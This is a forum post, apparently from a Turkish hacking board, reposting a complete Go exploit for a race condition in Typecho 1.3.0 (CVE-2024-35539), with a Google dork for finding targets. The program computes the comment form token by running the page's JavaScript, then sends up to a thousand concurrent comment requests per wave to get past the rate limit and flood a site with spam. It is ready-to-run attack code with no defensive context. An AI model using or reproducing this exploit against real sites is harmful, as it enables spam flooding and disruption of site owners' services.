Hoşgeldin Misafir

Typecho 1.3.0 - Race Condition

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
# Exploit Title: Typecho 1.3.0 - Race Condition
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35539

# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/

package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
    "net/url"
    "os"
    "strings"
    "sync"
    "sync/atomic"
    "time"

    "github.com/robertkrimen/otto"
)

var (
    c                    int32 = 0
    commentsPostInterval int64 = 60
    maxThreads           int   = 1000
    wg                   sync.WaitGroup
    userAgent            string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
    client               *http.Client = &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
)

func getJSFunction(u string) string {
    req, err := http.NewRequest("GET", u, nil)
    if err != nil {
        fmt.Println("[X] Error creating initial request:", err)
        return ""
    }

    req.Header.Set("User-Agent", userAgent)
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("[X] Error sending initial request:", err)
        return ""
    }

    buf := new(bytes.Buffer)
    buf.ReadFrom(resp.Body)
    body := buf.String()

    if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
        fmt.Println("[X] Error finding JavaScript function")
        return ""
    }

    jsFunction := strings.Split(body, "input.value = (")[1]
    jsFunction = strings.Split(jsFunction, ")();;")[0]

    return jsFunction
}

func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
    vm := otto.New()

    _, err := vm.Run(jsFunctionBody)
    if err != nil {
        fmt.Println("[X] Error executing JavaScript function:", err)
        return ""
    }

    result, err := vm.Call(jsFunctionName, nil)
    if err != nil {
        fmt.Println("[X] Error calling JavaScript function:", err)
        return ""
    }

    returnValue, err := result.ToString()
    if err != nil {
        fmt.Println("[X] Error converting JavaScript result to string:", err)
        return ""
    }

    return returnValue
}

func spamComments(u string, formToken string) {
    timestamp := time.Now().Unix()
    for {
        i := 0

        for time.Now().Unix() < timestamp-1 {
            time.Sleep(250 * time.Millisecond)
            fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds)    ", timestamp-time.Now().Unix()-1)
        }

        fmt.Printf("\n")
        for time.Now().Unix() < timestamp+2 {
            if i < maxThreads {
                wg.Add(1)
                go spamRequest(u, formToken, i)
                i++
            }
        }

        wg.Wait()
        fmt.Printf("\n[+] Successfully spammed %d comments\n", c)
        timestamp = time.Now().Unix() + commentsPostInterval
    }
}

func spamRequest(u string, formToken string, i int) {
    fmt.Printf("\r[*] Spamming comment request %d    ", i)

    defer wg.Done()

    formData := url.Values{}
    formData.Set("_", formToken)
    formData.Set("author", fmt.Sprintf("user_%d", i))
    formData.Set("mail", fmt.Sprintf("user%[email protected]", i))
    formData.Set("text", fmt.Sprintf("Hello from user_%d", i))

    req, err := http.NewRequest("POST", u+"comment", nil)
    if err != nil {
        return
    }

    req.Header.Set("Referer", u)
    req.Header.Set("User-Agent", userAgent)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    req.Body = io.NopCloser(strings.NewReader(formData.Encode()))

    resp, err := client.Do(req)
    if err != nil {
        return
    }

    if resp.StatusCode == 302 {
        atomic.AddInt32(&c, 1)
    }

    defer resp.Body.Close()
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
        return
    }

    fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r")

    targetUrl := os.Args[1]
    fmt.Println("[+] Spam target:", targetUrl)

    fmt.Println("[*] Getting JavaScript function to calculate form token...")
    jsFunction := getJSFunction(targetUrl)
    if jsFunction == "" {
        fmt.Println("[-] Could not get JavaScript function, exiting...")
        return
    }

    fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
    formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
    if formToken == "" {
        fmt.Println("[-] Could not get form token, exiting...")
        return
    }

    fmt.Printf("[+] Form token: %s", formToken)
    spamComments(targetUrl, formToken)
}